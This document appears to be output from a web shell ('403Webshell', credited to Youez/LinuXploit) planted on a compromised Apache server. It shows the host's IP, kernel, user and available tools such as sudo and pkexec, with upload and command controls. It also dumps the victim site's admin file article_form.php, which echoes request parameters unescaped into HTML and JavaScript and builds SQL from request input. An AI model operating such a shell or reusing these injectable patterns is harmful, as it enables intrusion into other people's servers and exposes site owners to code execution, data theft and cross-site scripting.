403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tgnewdev/admin/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tgnewdev/admin/mod/article_form.php
<?php require('_mod_security.php'); ?>
<?php
	form_prep('', 'basic_info', 'frm_article');
	if (($_POST['form_submitted'] ?? '') === '1') :
		$_POST['html'] = purify_html($_POST['html']);
		if (empty($_POST['slug']) && !empty($_POST['post_title'])) :
			$_POST['slug'] = generate_unique_slug($_POST['post_title'], 'articles', 'slug');
		endif;
		form_prep_submit();
		form_validate_all();
		if (!empty($_POST['custom_css'])) :
			if (!validate_css($_POST['custom_css'])) :
				$err_flag = 1;
				$ar_err['custom_css'] = 'Invalid CSS!  Please use a W3C CSS validator.';
				$err_tab = 'basic_info';
			endif;
		endif;
		if (!$err_flag) :
			try {
				$db->beginTransaction();
				$set = sql_set_update() . form_generate_set(true);
				if ($action == 'Edit') :
					$sql = "UPDATE articles set ".$set.
						"WHERE id = ".nz(trim($_REQUEST['id']), '0')." ";
					save_db_revision('articles', $sql);
					post_set_update();
				elseif ($action == 'Add New') :
					$sql = "INSERT INTO articles SET ".
							sql_set_create() .
							$set;
					$db->query($sql);
					$_REQUEST['id'] = last_id();
					$_POST['id'] = $_REQUEST['id'];
					$_POST['id'] = $_REQUEST['id'];
					post_set_create_update();
				endif;
				$db->commit();
			} catch(Exception $e) {
				db_err_rollback($e);
			}
			form_success();
		else :
			$active_tab = $err_tab;
			$form_message = "Errors found!";
		endif;
	else:
		if ($action == 'Edit') :
			$sql = "SELECT * FROM articles WHERE id = ".nz(trim($_REQUEST['id']), '0')." ";
			if (!get_row_to_post($sql)) :
				echo form_fatal_error('Invalid Operation!');
				return;
			endif;
		elseif ($action == 'Add New') :
			$_POST['show_sidebar'] = '1';
		endif;
	endif;
	
?>

<script>
	var active_page = '<?php echo $_REQUEST['IX']; ?>';
	var active_tab = '';
	
	function update_header() {
		if ($("#post_title").val() > "" ) {
			$("#header_repeater").text(" - " + $("#post_title").val());
		}
	}

	function check_if_saved(e) {
		if (sheet_dirty) {
			e.preventDefault();
			alert('Please save your changes before previewing.');
		}
	}

	$(document).ready(function() {
		switch_tab('<?php echo $active_tab; ?>');
		update_header();
		init_html_editor('html');
		set_dirty_event();
	});
</script>

<h1>Article - <?php echo $action; ?><span id="header_repeater"></span></h1>
<?php echo form_message($form_message); ?>

<form name="frm_article" id="frm_article" method="post" action="">
	<input name="form_submitted" type="hidden" value="1" />
	<input name="id" type="hidden" value="<?php echo $_REQUEST['id']; ?>" />
	<input name="active_tab" id="active_tab" type="hidden" value="basic_info" />
	<?php 
		form_button_strip('top');
		form_tab_strip_start();
		form_tab_header('basic_info', 'Basic Info', '');
		form_tab_header('media', 'Media Library', '');
		if (!empty($_REQUEST['id'])) :
			form_tab_header('revisions', 'Revisions', 'admin,dataentry');
		endif;
		form_tab_strip_end();
		//******************************************************************************************
		form_tab_start('basic_info', 'Article - Basic Info');

		form_column_start();
		form_field(['fname'=>'post_title', 'ftype'=>'textarea', 'fsize'=>250, 'frows'=>2, 'maxlength'=>'250', 'frequired'=>true, 'fdbname'=>'post_title', 'flabel'=>'Post Title', 'onblur'=>'update_header();']);
		form_field(['fname'=>'slug', 'ftype'=>'textarea', 'fsize'=>250, 'frows'=>2, 'maxlength'=>'250', 'frequired'=>true, 'readonly'=>false, 'fdbname'=>'slug', 'flabel'=>'Slug']);
		form_field(['fname'=>'post_date', 'ftype'=>'date', 'fsize'=>20, 'frequired'=>true, 'readonly'=>true, 'fclass'=>'date-pick dp-applied required', 'fdbname'=>'post_date', 'flabel'=>'Post Date']);
		form_field(['fname'=>'show_sidebar', 'ftype'=>'checkbox', 'fdbname'=>'show_sidebar', 'flabel'=>'Show Sidebar']);
		form_field(['fname'=>'show_in_slider', 'ftype'=>'checkbox', 'fdbname'=>'show_in_slider', 'flabel'=>'Show In Slider']);
		form_field(['fname'=>'featured_image', 'ftype'=>'text', 'fsize'=>250, 'frequired'=>false, 'fdbname'=>'featured_image', 'flabel'=>'Featured Image - <a href="javascript:switch_tab(\'media\')">Pick from media...</a> - <a href="index.php?IX=media_form&cat=content&type=img">Add new...</a>']);
		if (!empty($_POST['featured_image'])) :
			echo '<img src="' . APP_BASE_USER_SITE_SECURE . image_cache('img/content/' . $_POST['featured_image'], 85, 200, 200) . '" />';
		endif;
		form_field(['fname'=>'slider_image', 'ftype'=>'text', 'fsize'=>250, 'frequired'=>false, 'fdbname'=>'slider_image', 'flabel'=>'Slider Image - <a href="javascript:switch_tab(\'media\')">Pick from media...</a> - <a href="index.php?IX=media_form&cat=content&type=img">Add new...</a>']);
		if (!empty($_POST['slider_image'])) :
			echo '<img src="' . APP_BASE_USER_SITE_SECURE . image_cache('img/content/' . $_POST['slider_image'], 85, 200, 200) . '" />';
		endif;
		form_field(['fname'=>'post_status', 'ftype'=>'radiogroup', 'fdbname'=>'post_status', 'flabel'=>'Post Status','ar_group'=>APP_ARTICLE_STATUSES]);
		form_field(['fname'=>'seo_enabled', 'ftype'=>'checkbox', 'fdbname'=>'seo_enabled', 'flabel'=>'SEO Enabled']);
		form_field(['fname'=>'seo_sitemap_include', 'ftype'=>'checkbox', 'fdbname'=>'seo_sitemap_include', 'flabel'=>'SEO Sitemap Include']);
		form_field(['fname'=>'seo_title', 'ftype'=>'textarea', 'fsize'=>70, 'frows'=>3, 'fdbname'=>'seo_title', 'flabel'=>'SEO Title', 'qtip'=>'Limit to 70 characters.']);
		form_field(['fname'=>'seo_keywords', 'ftype'=>'textarea', 'fsize'=>70, 'frows'=>3, 'fdbname'=>'seo_keywords', 'flabel'=>'SEO Keywords', 'qtip'=>'Limit to 10 keyword phrases.']);
		form_field(['fname'=>'seo_description', 'ftype'=>'textarea', 'fsize'=>70, 'frows'=>3, 'fdbname'=>'seo_description', 'flabel'=>'SEO Description', 'qtip'=>'Limit to 160 characters total, 100 characters per line, 2 lines maximum.']);
		form_column_end();

		form_column_start('max-width:750px;');
		form_field(['fname'=>'shortcode', 'ftype'=>'select', 'fsize'=>25, 'frequired'=>false, 'fdbname'=>'', 'flabel'=>'Shortcode - select to insert into HTML below', 'ar_group'=>APP_SHORTCODES, 'onchange'=>'insert_text_into_html(\'[\' + $(this).val() + \']\'); $(this).val(\'\'); return false;']);
		form_field(['fname'=>'html', 'ftype'=>'textarea', 'fsize'=>70, 'frows'=>8, 'fdbname'=>'html', 'flabel'=>'Text']);
		form_field(['fname'=>'custom_css', 'ftype'=>'textarea', 'fsize'=>70, 'frows'=>12, 'fdbname'=>'custom_css', 'flabel'=>'Custom CSS']);
		echo '<p><a target="_blank" href="../'.$_POST['slug'].'/?preview=true" onclick="check_if_saved(event);">Preview Article...</a></p>';
		form_column_end();
		form_tab_end();
		//******************************************************************************************
		form_tab_start('media', 'Media Library');
		echo '<div id="ajax_update_media" style="width:1px; height:1px; display:none;">';
		echo '</div>';
		$ix_form = 'media_form&type=img&cat=content';
		db_navigator_bar(['table_id'=>'db_grid_media', 'form'=>$ix_form, 'print_section'=>'db_grid_media', 'call'=>'media_ajax', 'sort_col'=>'1', 'sort_order'=>'1', 'subtab'=>'true', 'parm1'=>" AND (media_cat = 'content') ", 'parm2'=>'insert_js,insert_featured,insert_slider', 'func'=>'grid' ]);
		form_tab_end();
		//******************************************************************************************
		form_tab_revisions('articles', $_REQUEST['id']);
		form_button_strip('bottom');
	?>
</form>

<?php require_once('_html_editor.php'); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit